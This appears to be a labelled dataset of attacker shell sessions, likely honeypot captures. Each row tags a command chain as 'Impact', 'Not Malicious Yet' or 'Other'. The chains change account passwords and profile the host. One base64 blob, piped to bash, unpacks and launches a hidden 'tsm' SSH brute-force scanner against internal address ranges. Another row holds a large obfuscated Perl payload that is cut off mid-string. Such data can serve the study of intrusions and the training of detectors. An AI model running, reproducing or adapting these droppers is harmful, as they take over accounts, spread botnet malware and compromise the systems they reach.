| echo | Impact | cat /proc/cpuinfo | grep name | wc -l ; echo -e "next\nLIkLzMkleXMn\nLIkLzMkleXMn"|passwd|bash ; echo "next\nLIkLzMkleXMn\nLIkLzMkleXMn\n"|passwd ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "admin next" > /tmp/up.txt ; rm -rf /var/tmp/dota* |
| echo | Not Malicious Yet | cat /proc/cpuinfo | grep name | wc -l ; echo -e "admin\nMKon7rE8TPpi\nMKon7rE8TPpi"|passwd|bash ; Enter new UNIX password: ; echo "admin\nMKon7rE8TPpi\nMKon7rE8TPpi\n"|passwd ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "admin admin" > /tmp/up.txt ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo "1" > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash |
| echo | Other | cd /tmp || /var/tmp || /dev/shm; echo "ZXZhbCB1bnBhY2sgdT0+cXtfIkZVWSgiMVA8Rl1DOTctUztSYF0oIj1SPFdFTjhSPFsiQEhEPFY1Uj1GRUQ7VyhdKVMkVC1CWFEuIzROLDM8UStDKFItUjxAPTZZTDk3LVMoIjFTXzk3KVY6NjFPPENMKjs3REApJyFPPEcxQS8yPFQtIyxHLlBJTT4yIWA4ViVOODZFUy8yQEIoVyFQKEJEWyJGVVkoJCFBOSZVUy8yQEIwMihMKEVAQl8qM0wqOzdEQDAmJVU9JkBdKiIpTDtWLUE7JkFPPFcwQiozTCoiRlVZKCIxTDo2WUE8VV1NODdAXS1DTCo7N0RAKSctTDk2NVAvMyxbIkBJTT4yYERfO0ZFQzpSYF0oJj1FPSZZSThWTEgqM0wqOzdEQCkmRVI4VllBOzY0QC8yIUc5NzFOOjYtSyoiRFsiRlVZKCIxUjk2JUw7RiVNOTJgXSgiQUA9NllBXzs2NEArNiVAKjNMKiJGVVkoIjFBOFY1UzxWXVM6JjVMOyJgXSgjJFsiRlVZKCIxUDxGNUY6N0FPKCNUQChCJEAoQ0wqOzdEQCkmNVM9JiVUOjctVF86Ni1BPFJgXSgjYFsiRlVZKCIxUDg2LU89JjVTKCNUQCwzTCoiRlVZKCIxNjE1KTMwNFxALzJgRywiWFI4MjxbIkBIRDRURSc+Uj0pM0UwRz8yYF1fKCI9KTFUWS80RDRHLlBIRDRURSc+Uj0oNTVgRz8yYF0oIj0pMVRZLzRENEcuUEhENFRFJz5SPTQxNSktKVdUQC8yYEcyND0uM1UpJSlTTCopJS0pXzFXTEcwVEEsMSI9XSgjVEApVEUnM0RdMjEyPFsiQjEzMjQ9WylVITMpV1RALzJgRzI0PS4zVSklKVNMKiJHNVM5MiEpM1NIWjRWXUM6VjVULlBJVV88VjRANFZdQzpWNVQuUElVPFY0QDI0XFouRS1FOyY1Qz0jTCo4VkFEOjcoSChCXEIqM0wqKSctRTxHOUk5Jl1SLzIoRDA1KSc1RUxQNzIoQDo2OEBfKSQlMjFVOTssJVRbIkIwUC8yKEQ8JylPOFY1UzxWXEIrQik8LCIoWyJGVVkoIjFQOjYwXTlGXVI6U0wqOTdBST0iIUk5QmBEPCZFRC5QSUQ6NjRAXyhFIVI7VilMOTZVQSgmLU87MiFPKCY5TzxGTFooIjBBKEIhVTtGUUU8VyxAOSY1Rjo2WUU5IkBEPCZFRCozTCoiRlVZKCI1STxGLT88VjVSPUY1Ul88U0wqOzdEQCk0MSMwU0wqOzdEQCkmMUM4VV1TOTZQQC8yIU45NzxAMjRcWi5FLUU7JjVDPSJUXjtGNVcqIkRbIkBIKiJASVM9NihAOVY1VDtGRUNfOlIhWyJCYEA8RjVUPTcpTigiKVgoQllJO0cwSDxGJU45IkBZLjNEWSoyRE4oQlRCK0ZFTj0iQVI4NllEKiNEWS4zREkqM0wqPzBIKiJHLVU4QiFHXzk3MUk5JjVOPSIhWyJCYEA7N0RAKScpRT0mXVI7Rl1JOSY1Tj0iYF0oIjk/OVY1VCoiKUg9JzFQLkJcTz1XPVcrRlVJO0chTzwiWUM7VlRPPFZMUV8sRyFBOFZMTzo2MUU7RzFTK0chSDwiKEkuUEhAKCZVWSgiMUk5JjVOPSYtSDg2WUM5MmBdKCZFTj0iQVI4NllEKiMkUCwjYEkqM0wqKCIhSTlCYEhfKSZFRDk2WVQ4VkFBO0YtRSgjWEAsU2BJKCdMKigiYEAoIiFSOTcxVTxGWEApJllJOFZMWyJCYEA/MiFFOyctRSgnTCooImBAKCIhUjk3MVU8RlhAXyknKUU9Jl1SO0ZdSTkmNU49I0wqKCIhXSJCYEA8RjVUPTcpTigiMVI5NzFPPEZZTzo2MUU7RzBbIkdUKiJHLVU4QiFHOTcxTjg2VUUoJ0wqKCIhTV8+MmBEPEY1VDtXKU47VllBOzY0QC8yYEY3Vj1FPSJAQjonMVQ8I0hPK1c9Vz1SWU06NllQO1dgTjhWXU0rVy1LLDMpUDg2LUsrVllBOzY1UytHIUhfPCIoSS5QSEAoJylFPSc1UjtCYEQ8RjVUO1cpTjtWWUE7NjRbIkdUKiJHLVU4QiFHOTcxSTkmNU49IyhAPlBIQCgiYEAoImBAKCZVWSgiMUw5NllHXz0mQF08VkFJOUcwWyJCYEAoImBAKCJgQCkmUUU7Rj1UOiJgXSgjLEA6NjhAKiIxTDk2WUc9JkBALyJgUyozTCoiQmBAKCJgQCgiYEA7N0RAMCYtSF84NylTLzJARzgyPE4rQj1aKVJQRzAyPE4rQj06KVJQRywyPE4rQjxZKVJEWyJCYEAoImBAKCJgQDlGXVI5NiVDOiJgSCwyWE4pJlFFO0Y9VDoiRCpfKCJgQCgiYEAoIiFbIkJgQCgiYEAoImBAKCJgQCgiYEAoImBEPEYlTjkmXU08VzFSOjZZRytDVEQ4VkFBPEctOzxGJU45IiFgOFZBQTxHLT0uUEhAXygiYEAoImBAKCdUKigiYEAoImBAKCIhUjk3MVU8RlhAKScpQTtGMU87Ny1UPEZFTjlTTCo/MEgqPFc1QigmPUU9Jy1UO1cpRSgiQEQpIkQqPlBIQF8oJlVZKCIxVTxGUEAvMiFTOiZFRj0jTCooIiFNPjJgRDlGRUw5MmBdKCctSDo2OVQuUEgqKCJgRDonMVQ8JV1TPScpRTg2VT87VzVUKCNUQCwzTCpfKCIhTzwmNU4qJD0lNSVdLzU1MSYyNFElKyJgQi9CYEQ5RkVMOTIoSS5QSEAoIjVIPScxUDdWUU87VyE/OFZBRThWTEAvMmBIKjNMKigiIT85VjVUXyoiMVU8RlBJLlBIQCgmLUw7Vy1FKCQ9JTUlXS81NTEmMjRRJS5QSEAoJylFPSc1UjtCYEQ7NiVJO0NIWjonMVQ8JV1HOTcxPzxGNVM9NlFULlBJXV8iQElTPTYoQDdWPUU9YElbIkJgQDs3REApJzVSOyJgXSgnLUg6NjlULlBIQCgmVVkoIjFQPEZdWD4yYF0oIihCLlBIQCgmPVI5N2BAPlJBTDhSQERfN1JEQDk3JEAoRkFUPSchPzwnKU8+J0RCKjJgRilCYEgpJyFSO1dBWSgjVEApJDUuNUdMRDdXVEk/MiFLOTdFUygiNSUzRThbIkJgQDo2OEAqIkBEXzwnKU8+J0RAOTckQChCKEkoIjhGKCIxVTxGUEAvN1hAOzJRPjonMVQ8I0hPK1JBOzdCXFo3MkxJKiNcWi5CQTw5IkxJKjNcSCtVUTMqQkRfKSJQSV8oJ0wqKCJgQCgmVVkoIjFIO1ctVCgjVEApIyRbIkJgQCgiIU0+MmBEPCZdUj0iYF0oIjBSKCdRXCgjQFAuUEhAKCJgQDs3REApJyFBPSZAQC8yYERfLFNMKigiYEAoIjFQODcxSCgjVEAoQlxCKCc1TjsmNVM8UiFEOTY5STtGNUQqIjFQODcxSCozTCooImBAKCcpRT0nNVI7QiE/PScpST1GRUE7JV1IXz0nMVA3Vj1FPSJARDomXVM9IlBAKSchTzxHMEwoIjFQODcxSCozTCooIiFdKCY1TDxWRUYoIkBEPCcpTz4nREAvN1hAOzJRPjonMVQ8I0hPK1JBO183QlxaNzJMSS5CQTw5IkxJKiJdPDRSSEkvUjBMKjIhWyJCYEAoIiFNPjJgRDomXVM9ImBdKCIwUS5QSEAoImBAOzdEQCknIU88RzBALzJgRCxDTCpfKCJgQCgmVVkoIjFQODcxSCgjVEApJzVSOyNMKigiYEAoJylFPSc1UjtCIT89JylJPUZFQTslXUg9JzFQN1Y9RT0iQEQ6Jl1TPSJQQCknIU88RzBMXygiMVA4NzFIKjNMKigiIV0oJjVMPFY0QD5QSEAoImBAPEY1VD03KU4oJzVOOSY1Ri5QSEAoJ1QqPzBIKiJHLVU4QiE/PScpST1GRUE7JV1IPScxUF83Vj1FPWBJWyJCYEA7N0RIKSZBTzxXMEwoIjFQO1cpVCsiYEQ8JiVUOiJEQC8yIWA3U0wqKCIhTT4yQEQwND0lM0UwTCgiMTYxNSkzMjRdLisiYERfPCJEWyJASEAoIjEhMVQ1LjUiYF0oIilHOTcwTTs2RU46NlVBOyIoWyJCYEApJTklNEUtKTNUWEAvMmBCLENgUCwjYFEsM0BCLlBIKigiYEQ8JiVUXzoiYF0/QiFTK1JgTykzKFArVjxbIkBIQCgnKUU8NzVJPEY0QDI0XFouRS1POFZNRT0jTCooIiFMO1YtQTsiQEQ3RTxJKCNUQCwjTCooIiFNPjJgRF88Vl1DOlJgXSgkRS8uQ0kzO1YtSzk3MFouREUuMTUwTS9GWUU9UkEwOTY1UjA2MUQ8QmBdL0JgRDomXVM9IlAqKCJgQCgiYEAoImBAKCJgQCgiYEBfKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCIhMDk2NVI0Jl1SPSJgXS9CYEQ8Jl1SPSJQKigiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAXygiYEAoImBAKCJgQCgiITA8Rl1UO1JgQCgjVF4oIj1UOFdgRytgSEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoImBAKCJgQF8oJTFJOzY1Tz03MEAoI1ReKCM4UCoyIVw/IiFSOTcxVTxGWFsiQmBAKSctTzhWTE0vRiVVPSZdRjsnNVM6I0wqKCIhTT4yYEQ7RjVUOyZdQygjVEBfKSZBTzxXMFsiQmBAKSZZRT0mUU84UmBOLzJgQi5CMVA7VylUKEIhSTlCYEQ8Jl1SPSJgQS8yYFgsI0wqKCIhTT4yYEQ8RjVRPTY1Uz0iYF0oIiknXzE1MEApJyFBPSZAQDIlMTQ0IlxRK0MhPCwjJFU3I2BRLEIoKigiYEAoImBAKCJgQCgiYEAoImBOKCIpKDtXLVQuQmBEO0Y1VDsmXUM3I2BRLTVQUF8sMyhCIkJgQCgiYEAoImBAKCJgQCgiYEArQmBCNTctRTxCVSE5VjVOPSNIQCkkJScxNFk0K1IxNjE1KTMyNF0uK1c1PCwjJFU3I2BRLEIoWyJCYEBfKScpRTw3NUU8VzBAK0NUQChFIVI4Nj1NODNIQDtGXE04ViVDOiY1PCwjJFU3I2BRLEIoQDo2OEAqIjFNODZFTi5DSUg9JzFQN1ZZTzdWLUE4VkFFXyozTCooImBEPEY1UT02NVM9ImBOLzJgQjcjYFEtNVBQLDMoQi5QSEAoJyFSOjZZVCgiMVM7Vi1LKCIxUjk3JVU5Ny1ULlBIKigiIU0+MmBEOEc1Rl8oI1RAKEIoWyJCYEA7N0RAKSZYWyJCYEA7N0RAKSYoUSgjVEAoQihbIkJgQD1WQUk7JjRAKiIxTigjVEA8V0VTPEY1QTkiQEQ8Vl1DOlJQQCkmKVVfOUJQQC4iSFEsIyhUKyIhTDk2WUc9JkBIKSYpVTlCREkqMiFbIkJgQCgiIUk5QmBIKSYoUSgmNVEoIihCKjIhWyhgSEAoImBAKCJgRDhDJEAvMmBEXzhHNUYuUmBAKCJgQCgiYEAoYEhAKCJgQCgiYEQ4RzVGKCNVXignLE8rQkxfNyNgUS0zXTwsIyRSNyNgUS0zXTwsIyRSK1JdUy5SYEAoImBAKGBIQF8oImBAPzBIQCgiYEA6NjhAKiIxSD0nMVA3Vy1UPEY1QTs1XU89NzBJKCdMQDwnKUk7RzBAMVQ1NDdUXTU1JDkpMyQ0QCkmKVU5Q0xAKSYpVTlCYF1fKCIoQi5SIV0iQmBAPzBIQCgnKUU9JzVSO0IhVTtGMUU5QiFVO0ZRRTxXLEA5JjVGOjZZRTkiQEQ7QkRbIkBIQCgiMU04NkVOLkNJSD0nMVA3Vj1FXz0lXVI5Ny1VOycwQC8yYFIsI2BbIkJgQDo2OEAqIjFCLDJgXT9CIU0rJVkoNSUxMCtVUUQqVVBONyYwSzcnLEsqJVFEKlJFOzdFUFAsMyk9KkVQUF8sMyhMKjIhWyJCYEAoImBEOzYlSTtDSFo6JzFUPCVdRzk3MT88RjVTPTZRVCgjVEApIyRbIkJgQCgiIUk5QmBIKSZVQTo2WFouRkFUPSchPzlWNVRfN1cpRTxXNUw9ImBdP0JgTzdDLFA2UyRSLFM9PStSYEYpQmBEOEMkQC83WEArVVBQLDMpLDtWLUE9JkVPO0NJPDxSSEg3JSxLKjJcKioyIVsiQmBAXygiYEAoJlVZKCIxVTxGUEAvMmBELDNMKigiYEAoImBAPEY1VD03KU4oJzVOOSY1RigmRUYoIjFIPScxUDdWUU87VyE/OFZBRThWTVspJzVSOydUS18qU0wqKCJgQCgiYEA8RjVUPTcpTiglXUc5NzBIKSc1UjsiRFsiQmBAKCIhXSJCYEAoIiFSOTcxVTxGWEA9NllEOTY4QD02WUw5Ny1TKCIxTTg2RU5fLkNJSD0nMVA3Vj1FPSVdUjk3LVU7JzBALzdYQCtVWFIrU0wqKCIhXSJASEAoJylFPSc1UjtCYEQ4RzVGLlBJXSJASCopJy1FOyVdQzsmRUU7RzFFXygjVEAyNFxaLkUtRTsmNUM9IlReO0Y1VyoiRFsiRy1VOEIhUzk2WUQ8RiVXKCdMKigiIUk5QmBIKSItPygjVF0oIjxRKVJEQD5QSEAoImBAOzdEQF8pJy1POFZNRT0iYF0oIjE/NlMhPS5QSEAoImBAPCcpSTtHMEApJy1POFZNRT0iYEIpJV07LDVVPDtCKFsiQmBAPzIhRTsnLUUoJ0wqKCJgQCgiYEBfPCcpSTtHMEApJEUyMFVdQz03KT88Vl1DOlY1VCgiKEQ3VUxQNzVRTihDTCooIiFdIkdUKiJHLVU4QiFDO1ZZRThXMUE8QiFbIkJgQCgmVVkoIjFNXzk3NU46Ni1LKCNUQCklXTssJVRbIkJgQCgmVVkoIjFTOTcpVjo2MU88RV1DO1ZYQC8yYEQ3VUxRNzNMKigiYEA7N0RAKSchTzxHMUE3Vi1PO0JgXV8oIjE/NlMpPS5QSCooImBAOzdEQCkkRTIwVV1TO1YtSzk3MEAvMiEpM1NIWjRWXUM6VjVULkNJKTNENTQrM1lOOTc8SDQnKU89JlxdL0IpVDhXYEJfKyIhMDk2NVIwNjFEPENUXihCMVM5NylWOjYxTzxFXUM7VlhCKyIhMDk2NVI0Jl1SPSNUXiknIU88RzFBN1YtTztCREA7VyhAPEY1VD03KU4qIyRJXy5QSEAoIiFJOUJgSDkmNUY6NllFOSJARDI1KSM3Vy1POFZNRT0iREkoJ0wqKCJgQCgiYEQyNSkjN1YtVTxFXVM7Vi1LOTcwQC8yYEQyNSkjN1ctT184Vk1FPSNMKiJCYEAoImBAKSRFMjBVXVM7Vi1LOTcwTS9GJVU9Jl1GOyc1UzoiQFEqM0wqKCJgQCgiYEQ8VjVMN1YtTDo2NU49JjRNL0YlRDkiQERfMjUpIzdXLU84Vk1FPSJEWyJASEAoImBAKCIxSTxGLT88VjVSPUY1UjxXTEQyNSkjN1YtVTxFXVM7Vi1LOTcxXT5SPUg7Vy1UKVdUQC8yYEIpJy1FXzxHOUk5Jl1SN1YtTztCKFsiQmBAKCJgQCkmRVI4VV1TOTcpVjk3KVM+UjEpNEQtPzhXNVI3Vy1POFZNRT0nVVspVyFPPEcxQSlXVEAvMmBCKSchT188RzFBN1YtTztCKFsiQmBAKCJgQCkmRVI4VV1TOTcpVjk3KVM+UjEpNEQtPzhXNVI3Vy1POFZNRT0nVVspVllJOFZMRz8yYF0oIjFNOTc1Tjo2LUtfLlBIQCgiYEAoIjFJPEYtPzxWNVI9RjVSPFdMRDI1KSM3Vi1VPEVdUztWLUs5NzFdPlI9TTk3NUk8Ij1dKCNUQCkkRTIwVV1TO1YtSzk3ME0vRy1PXzhWTUg7Vy1ULlBIQCgiYEAoJllJOFZMSChCMU05NzVOOjYtSyhCRFsiQmBAKCJgQDxWNU45JylBPVJAQjU1LSU0QmBEOjcpQztGJU05MmBCK0IxKV80RC0/PFZdQzpWNVQrM1lTO1YtSzomXVM9IlhCKCIxUzk3KVY6NjFPPEVdQztWWEAuQjFSOTYlTDtGJU05MihJLlBIQCgiYEAoJy1MOTY1UCgjKFtfIkJgQCgnVCoiR1QqOzdEQCkmUUk7RjU/PSY1TTwjTCo9VkFJOyY0SCgjJEAqMiFbIkJgQCgnPUg6NlFFKCJAQSomTUU+NyxIKTZFUjhVXVM5NylWXzk3KVMqMkRJKCdMQDhWXU45Ni1UODcoSChCMU46Ni1LKEJQQChCMVM5NylWOjYxTzxCKEwoIihEPCZdUj0mJEIqM0xAPzBIQCgiIUQ5NlFFPSY0SF8pJkVSOFVdUzk3KVY5NylTPlI8Rz8yREA6NjhAKiYxRTlGRU45NjBIKSZFUjhVXVM5NylWOTcpUz5SPEc/MkRJLlBIQCgiYEYxJC0jLkNJQztWWU5fOTYtVDo2XU48U0wqKCJgQDs3REAwJylFODYxWSgjVEApJy1FOyVdQzsmRUU7RzFFKzNZQzg2WT88RjVBOSJAUCtDOEkuUEhAKCIhTjk3QVQoJzVOXzsmNVM8UkFgPEY1QTknREkuUEhAKCIhRjtXKUU4Ni1IKCIxRjoiYEgwJylFODYxWSoyIVsiQmBAKCJgQCkkRTIwVV1DPTcpPzxWXUM6VjVUKCNUQF8pJjlILlBIQCgiYEAoIjFNOTc1Tjo2LUsoI1RAKSZFUjhVXVM5NylWOTcpUz5SMSk0RC0/OFc1UjdXLU84Vk1FPSdVWylWWUk4VkxHPzNMKigiYEBfKCJgRDtHKUU4NjBALzIhUz43LVI5NiVEKiIxRjoiUEApJlVTOVJQQC0jYFktQkRbIkJgQCgiYEA6NjhAKiIxTjxGNUE5ImBdLzJgUCoyIVsiQmBAXygiYEAoImBAKSctRTslXUM7JkVFO0cxRSszWVI5NlVPPUY0SCkmOUgqM0wqKCJgQCgiYEAoImBEOUZATS9GLUw7Vy1FLlBIQCgiYEAoImBAKCYxRV87JjVUOTJARDo3KUM3Vy1FPEc5RTxHLVspJjlIPzJEWyJCYEAoImBAPzBIQCgiYEAoJCFMOjZZRTxSYF0oJy1QOyZFVCgiQE83JlhPKyJgRDs3LUdfKjNMKiJCYEAoImBAOUZdUiomVVkoIjFDLzNgWygiMUMvI1RAKSItTDo2WUU8U0xAKSYsSypSREA+UEhAKCJgQCgiYEApJlFJO0Y0QC8yYEQ7JkVOXzk3LTspJi09LlBIQCgiYEAoImBAKSZRSTtGNF0pJlFJO0Y1Pz0mNU08IlhEOyZFTjkyIUk5QmBIKSZRSTtGNT89JjVNPCJEWyJCYEAoImBAKCJgRF87JkVOOTVdVDk2VVAvMjxHLlBIQCgiYEAoImBAKSZRSTtGNEAvN1hAPFJdPDxCME8rU0wqKCJgQCgiYEAoJzVOOyY1UzxSYEgpJixALzNUQCkiLUxfOjZZRTxSREA+UEhAKCJgQCgiYEAoIiFQODcpUzkyQEIpJlFJO0Y0QiozTCooImBAKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAKCJgQCgiYEA6NjhAXyoiMEM7JkVOOTcsQC8zVEAsIkRAPlBIQCgiYEAoImBAKCJgQCgiYEA8JiVSPFY0SChCMUw6NllFKEJEWyJCYEAoImBAKCJgQCgiYEA/MiFFOyctSV85QmBIKSZRSTtGNVM2UjFDNzJgXT9CYE83JyhEK1JEQD5QSEAoImBAKCJgQCgiYEAoImBAKCIhUDg3KVM5MkBCKSZRSTtGNEIqM0wqKCJgQCgiYEBfKCJgQCgiIV0oJjVMPFZFRigiQEQ7JkVOOTJgXT9CYE83QkE8NFJMSSgkWS81JEUjMTIhITU1MSgoI0k8KkVQSjciSE8qMiFbIkJgQCgiYEAoImBAXygiYEAoImBAKCchQTxHLUUqIihEOyZFTjkyKEkuUEhAKCJgQCgiYEAoImBAKCdUQDk2UVM5MiFbIkJgQCgiYEAoImBAKCJgQCgiYEAoIjFMOjZZRV83VzFFOzdgQC8yYEQ7JkVOOTNMKigiYEAoImBAKCJgQCgiIV0iQmBAKCJgQCgiIV0iQmBAKCJgQCgnVCooImBAPzBJXSJASVM9NihAPCYlUjxWNEBfPlBIQCgiIU0+MmBEPFY1Uj1GJVI5UmBdKCctSDo2OVQuUEhAKCIhSTlCYEgpJy1FPEc5QTxGPEAvN1hAK1VZMDI0WScoJVBaKiJYSioyXEkoJ0wqXygiYEAoIiFTOTZZRDxGJVcqIikwM1RZJygjSEQsMihJLlBIQCgiIV0oJjVMPFZFRigiQEQ8VjVSPUYlUjlSYF0/QmBPN0VQWioiWEsvUkU8KDJATl8qU1xJNyRgSCtCTF8qMiEwNERFNjM1LScoIkBOKlNcSSglUFoqIlhLKjJcSSgnTCooImBAKCJgQCgmVVkoIjFQO0NURCwzTEA7N0RAKSZdTjkmNEBfLzJgRC0jTEA7N0RAKSYlUjlXLEAvMmBELTNMKigiYEAoImBAKCZFRigiQEQ4NylHPFJgXT9CYE83RVBQLCMlNjE1KTMyNF0uNyNgUCwyME8qMiFbXyJCYEAoImBAKCJgQCgmWU89JkVDOTJAQiknIU4oQlBAKEVQUCwjJTYxNSkzMjRdLigmVSk0RCxAPUM4TiwzOEAxNFklKCQlLDI0WEAxVCUiNERFJV8zJVBQLCMkQiozTCooImBAKCJgQCgnVCooImBAKCJgQCgmNUw8VkVGKCJARDg3KUc8UmBdP0JgTzdFUFAsIyUwMjRZJzcnLEsqJVFEKlJFPCwjYFFfKSJcSSgnTCooImBAKCJgQCgiYEA7Rl1UOjYtRSoiKEQ8JlhCKyJgQjcjYFAsNSEvM0Q9PCwjYFEoQkRbIkJgQCgiYEAoIiFdIkJgQCgiYEAoIiFFXzsnLUk5QmBIOVcpRTwiIVspJVxALzdYQCtVWTw0MjFQO0VRJSkiXUkoJ1RAMCYlRDs3LEkoJ0wqKCJgQCgiYEAoImBAOjY4QCoiMU87RjFFKCY1UV8oIihEOzY1VTtGRUM6UihJPlBIQCgiYEAoImBAKCJgQCgnLUg5NlFMKiIoRDwmWEIrImBCKSYlUjlXLEIqM0wqKCJgQCgiYEAoImBAKCIhXSJCYEBfKCJgQCgiYEAoJjVMPFZFRigiQEQ4NylHPFJgXT9CYE83QkE8NDIxTTk3NU46Ni1LNyQ1XDclJEQ8JylFOUZFWDtVUSUqNVFTKlJATipCRE8oIkRAXz5QSEAoImBAKCJgQCgiYEAoIiFNPjJgRDtGJVQ8RkVYKCNUQCkjJFsiQmBAKCJgQCgiYEAoImBAKCZVWSgiMUE8RjxALzJgRCxDTCooImBAKCJgQF8oImBAKCJgQDo2OEAqIjFBPEY8QC83WEArVVk8KDJATipCRE8qMiFbIkJgQCgiYEAoImBAKCJgQCgiYEA6NylDODctRSoiKEQ8JlhCKyIoRDtWWURfOTIoTChCMFEoQkRAPTZZTDk3LVMoIkBEO0YlVDxGRVgoJjVRKCIoRDwnKUU5RkVYO1IoQDg2WUQoIjFBPEY8QC83WEArVVk8KDZZSThWTE8qM0wqXygiYEAoImBAKCJgQCgiYEA/MiFFOyctSTlCYEgpJiVSOVJgXT9CYE83RVFgKiJYSioyXEkoJ0wqKCJgQCgiYEAoImBAKCJgQCgiYEAoIjFPO0YxRV88ImBdKCIxTztGMUUuUEhAKCJgQCgiYEAoImBAKCJgQCgiYEApJl1OOSY1UCgjVEApJyFOKCZFRigiMU87RjFFKCY1USgiMU05NzVOOjYtSy5QSEBfKCJgQCgiYEAoImBAKCJgQCgiYEA4RjlVO0YsSChCMU87RjFFPCIoTChCMFEoQkRbIkJgQCgiYEAoImBAKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAXygiYEAoImBAKCJgQCgiIVM6JjVMOyJAQikmXU45JjRCKyJgQikmJVI5UihJLlBIQCgiYEAoImBAKCJgQCgiIV0iQmBAKCJgQCgiYEAoJ1QqKCJgQF8oImBAKCdUKigiYEA/MiFFOyctSTlCYEgpJy1FPEc5QTxGPEAvN1hAK1VZPC5CQE4qU1xJNyIkSCtCTF8qNVFgKiJYSy9SRTw8Uk0uMjQtKzcnLEtfNyNISDclLEsqMl1JKjIhWyJCYEAoImBAKCIhSTlCYEg7JixIKSMkSSgmNVEoJlFDKiIxTTk3NU46Ni1LKjJEQD5QSEAoImBAKCJgQCgiYEQ7NjVVXztGRUM6U1RELSNMKigiYEAoImBAKCJgQCkmRVI4VV1TOTcpVjk3KVM+UjEpNEQtPzhXNVI3Vy1POFZNRT0nVVspVllJOFZMRz8yYF0oIjFNOTc1Tl86Ni1LLlBIQCgiYEAoImBAPzBIQCgiIV0oJjVMPFZFRigiQEQ8VjVSPUYlUjlSYF0/QiFNK1VZPC5CQE4qU1xJNycsSy0jLFMrVkRJKCdMKigiYEBfKCJgQCgiMU05NzVOOjYtSygjVEA5VjVUO0ZFQzpSQEkuUEhAKCJgQCgiYEA7RkVDOlJAQikmVUU9NllJOFZMQiozTCooImBAPzIhRTsnLUk5QmBIXyknLUU8RzlBPEY8QC83WEA7Ml0+NyNISCtCTF8qNVFTKlNgUCw1UVMqUkE8NFJMSTcnLE86MkRAPlBIQCgiYEAoImBAKSZVRT02WUk4VkxALzJgRF8sQ0wqKCJgQCgiYEAoIjFJPEYtPzxWNVI9RjVSPFdMRDI1KSM3Vi1VPEVdUztWLUs5NzFdPlI9Tjo2LUspV1RALzJgRDs2NVU7RkVDOlNMKigiYEBfKCJgQCgiMUk8Ri0/PFY1Uj1GNVI8V0xEMjUpIzdWLVU8RV1TO1YtSzk3MV0+Uj1OO1ZVRSlXVEAvMmBCKSMkQi5QSEAoImBAKCJgQDlGXVI5NiVDXzoiIU0+MmBEOFYlTjg2UEAqJCFDODZZQTo3LEkoJ0wqKCJgQCgiYEAoImBAPFY1TjknKUE9UkBCMkRdKTNCYEQ4ViVOODZQQiozTCooImBAKCJgQF8oJ1QqKCJgQD8wSV0iQElTPTYoQDhGOVU7RixAPlBIQCgmVVkoIjFQPEZFTj0mUEAvMmBEN1VMUDczTCooIiFNPjJgRDlHNU44ViVSOVJgXSgiMT9fNlMlPS5QSEAoJkVGKCJBTT4yYEQ8JkVEKCNUQDlGXVI6UkRAPlBIQCgiYEAoJz1BOjcxUDo2MEgpJyFJOSJQQCwiRFsiQmBAPzIhRTsnLUUoJ0wqXygiYEAoImBAOjY4QComOU88RkxJKCdMKigiYEAoImBAKCJgQDk3QUk9I0wqKCJgQCgiYEAoJ1RAOTZRUzkyIVsiQmBAKCJgQCgiYEAoImBAOjY4QF8qIjFGPTZZQzg3KUcoI1VeKCJdPjwmXVI9Jy1DODZYQCoiWEoqMlxJKCdMKigiYEAoImBAKCJgQCgiYEAoJlVZKCIxSDtXLVQ6N2BdKEIwUShDTCpfKCJgQCgiYEAoImBAKCJgQCgmVVkoJCFQO1cpVDg3LF0qIihSLDIoTChDKFIoQlBCLEMsQisiKFItMihMKEM0UyhCUEIuI2BCKyIoUSwzYEIrIihRXy0jLEIrIihWLUM4VShCRFsiQmBAKCJgQCgiYEAoImBAKCIhTT4yYEgwJiVCOTcpVDgyUEApNyFPPEcxQTdWKUE7RllFPEJEWyJCYEAoImBAKCJgQF8oImBAKCIhRjtXKUU4Ni1IKCZVWSgiMVA7VylUODJgS